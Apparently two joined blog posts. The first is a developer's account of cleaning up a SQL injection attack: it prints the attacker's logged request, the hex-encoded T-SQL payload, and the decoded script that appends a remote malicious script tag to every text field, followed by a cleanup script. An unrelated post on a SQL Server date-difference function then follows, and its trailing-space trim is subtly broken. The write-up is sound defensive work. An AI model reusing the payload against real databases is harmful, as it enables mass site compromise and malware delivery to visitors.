Now that Google has started flagging sites that are linking to badware in their index I’ve been getting quite a few calls from people who have been flagged and need to get back on track.

These are often sites that were written a while back (not by myself) when developers didn’t think as much about SQL injection as they do now. Sometimes the code was just poorly written by someone who didn’t know better. However it happened, each site has its own challenge.

Fixing the security hole is generally straight forward — I usually just have to identify where the SQL isn’t properly escaped and fix that code. The hard part I have had fixing these sites is fixing the database itself. Some clients have backups, and some I can fix with SQL Log Rescue, but generally a lot of small clients simply don’t have great control over their server and often don’t have any backups.

I had one such of these clients this week where their database had hundreds and hundreds of tables, all with malware code injected into the data. I was initially going to write a script to clean all the data, but after looking at the malware attack, I was able to use their own code to fix the database.

In the server log files. I noticed this request was coming in for every script several times a day. Looks like it just wanders the internet hoping that that id=2 in the query string won’t be escaped in the code.

GET script.asp?id=2 ;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434c415245204054207661726368617228323535292c40432076617263686172283430303029204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d27272b5b272b40432b275d20776865726520272b40432b27206e6f74206c696b6520272725223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f7220%20AS%20CHAR(4000));EXEC(@S); 80 - 121.18.89.190 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) - - www.wirelust.com 200 0 0 14827 1516 9781

 

If the id isn’t escaped, as it wasn’t in this situation, a query like this will hit your SQL server:

SELECT *
FROM SomeTable
WHERE id=2;DECLARE @S CHAR(4000)
SET @S=CAST(0x4445434c415245204054207661726368617228323535292c40432076617263686172283430303029204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d27272b5b272b40432b275d20776865726520272b40432b27206e6f74206c696b6520272725223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f7220 AS CHAR(4000));
EXEC(@S);

 

hmm. okay. so what is it executing as the value of @S?
If you change the statement from EXEC(@S) to PRINT(@S) you get this:
Warning: Do not run this on your server, it will mess up ALL of your data

DECLARE @T VARCHAR(255),@C VARCHAR(4000)
DECLARE Table_Cursor CURSOR FOR 
	SELECT a.name,b.name
	FROM sysobjects a,syscolumns b
	WHERE a.id=b.id
	and a.xtype='u'
	and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
 
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
	EXEC('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www.wirelust.com/baddies-script.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://www.wirelust.com/baddies-script.js"></script><!--''')
	FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

 

I thought this code was pretty clever. It selects a cursor that contains every varchar and text field in every table on the database, then loops over the cursor and issues an update command to append their bad script to the end of the data in each field.

Luckily, it is in their best interest to leave your data in place and just place their code at the end - it increases the chance you won’t know your site is infected.

Since all of the original data is still in the database, I was able to tweak their code a little bit to write a script to fix the data:

DECLARE @T VARCHAR(255), @C VARCHAR(4000), @SQL VARCHAR(5000)
DECLARE Table_Cursor CURSOR FOR 
	SELECT a.name,b.name
	FROM sysobjects a,syscolumns b
	WHERE a.id=b.id
	and a.xtype='u'
	and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
	WHILE(@@FETCH_STATUS=0) 
	BEGIN 
		SET @SQL = 'update ['+@T+'] set ['+@C+']=Replace(['+@C+'], ''<script src="http://www.wirelust.com/baddies-script.js"></script>'', '''') where '+@C+' like ''%<script src="http://www.wirelust.com/baddies-script.js"></script>%'''
		PRINT @SQL
		-- exec(@SQL)
		FETCH NEXT FROM  Table_Cursor INTO @T,@C
	END 
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

All the time, when I’m writing reports I need to display a ‘time elapsed’ metric in a short easy to read manor. Usually I do this with a simple convenience function in whatever language I am writing the GUI in. For reports that are purely in SQL, I have created just such a convenience function for SQL server: dateDiffHumanReadable( startDate, endDate, precision ).

This makes it easy to display date spans.

To see how old I currently am, I would call:

DECLARE @birthday DATETIME
SET @birthday = '6/2/1978 16:00:00'
PRINT dbo.dateDiffHumanReadable(@birthday, GETDATE(), DEFAULT)

This will return my current age:
30y 114d 38m 11s 620ms

This comes in handy when I have a log table with columns like this:

• process
• timeStart
• timeEnd

Just using DATEDIFF I would have to do this:

SELECT process,
	CASE WHEN timeStart IS NOT NULL AND timeEnd IS NOT NULL THEN
		DATEDIFF(s, timeStart, timeEnd)
	ELSE
		''
	END AS [seconds]
FROM logTable

With this function, I can get more informational results just doing this:

SELECT process, dbo.dateDiffHumanReadable(timeStart, timeEnd, DEFAULT)
FROM logTable

The third parameter is a precision value for when you don’t need right down to the millisecond returned. Calling this:

DECLARE @birthday DATETIME
SET @birthday = '6/2/1978 16:00:00'
PRINT dbo.dateDiffHumanReadable(@birthday, GETDATE(), 'y')

This will return just the year of my current age:
30y

Full code

SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
-- =============================================
-- Author:		T. Curran
-- Create date: 3/20/2008
-- Description:	Generates a human readable difference between two dates, in the form '1y 5d 3h 2m 6s 10ms'
-- =============================================
CREATE FUNCTION [dbo].[dateDiffHumanReadable]
(
		@dateStart DATETIME,
		@dateEnd DATETIME,
		@PRECISION VARCHAR(2) = 'ms'
)
RETURNS VARCHAR(200)
AS
BEGIN
	DECLARE @diffAsString VARCHAR(200),
		@dateScratch DATETIME,
		@years INT,
		@days INT,
		@hours INT,
		@minutes INT,
		@seconds INT,
		@milliseconds INT
 
	SET @diffAsString = ''
	IF (@dateStart IS NULL OR @dateEnd IS NULL) BEGIN
		RETURN @diffAsString
	END
 
	-- @dateScratch is used as a holding place for us to increment the date so we don't alter @dateStart
	SET @dateScratch = @dateStart
 
	-- years
	SET @years = DATEDIFF(yy, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(yy, @years, @dateScratch)
 
	-- days
	SET @days = DATEDIFF(d, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(d, @days, @dateScratch)
 
	-- hours
	SET @hours = DATEDIFF(hh, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(hh, @hours, @dateScratch)
 
	-- minutes
	SET @minutes = DATEDIFF(mi, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(mi, @minutes, @dateScratch)
 
	-- seconds
	SET @seconds = DATEDIFF(s, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(s, @seconds, @dateScratch)
 
	-- milliseconds
	SET @milliseconds = DATEDIFF(ms, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(ms, @milliseconds, @dateScratch)
 
 
	-- Build the output string based on the precision
 
	-- years
	IF (@PRECISION = 'y' OR @PRECISION = 'd' OR @PRECISION = 'h' OR @PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@years > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@years AS VARCHAR(10)) +  'y '
		END
	END
 
	-- days
	IF (@PRECISION = 'd' OR @PRECISION = 'h' OR @PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@days > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@days AS VARCHAR(10)) +  'd '
		END
	END
 
	-- hours
	IF (@PRECISION = 'h' OR @PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@hours > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@hours AS VARCHAR(10)) +  'h '
		END
	END
 
	-- minutes
	IF (@PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@minutes > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@minutes AS VARCHAR(10)) +  'm '
		END
	END
 
	-- seconds
	IF (@PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@seconds > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@seconds AS VARCHAR(10)) +  's '
		END
	END
 
	-- milliseconds
	IF (@PRECISION = 'ms') BEGIN
		IF (@milliseconds > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@milliseconds AS VARCHAR(10)) +  'ms '
		END
	END
 
	-- the above string concat always ends with a space, if the space is there at the end remove it
	IF (LEN(@diffAsString) > 0) BEGIN
		IF (RIGHT(@diffAsString, 1) = '') BEGIN
			SET @diffAsString = LEFT(@diffAsString, LEN(@diffAsString))
		END
	END
	
	RETURN @diffAsString
END
GO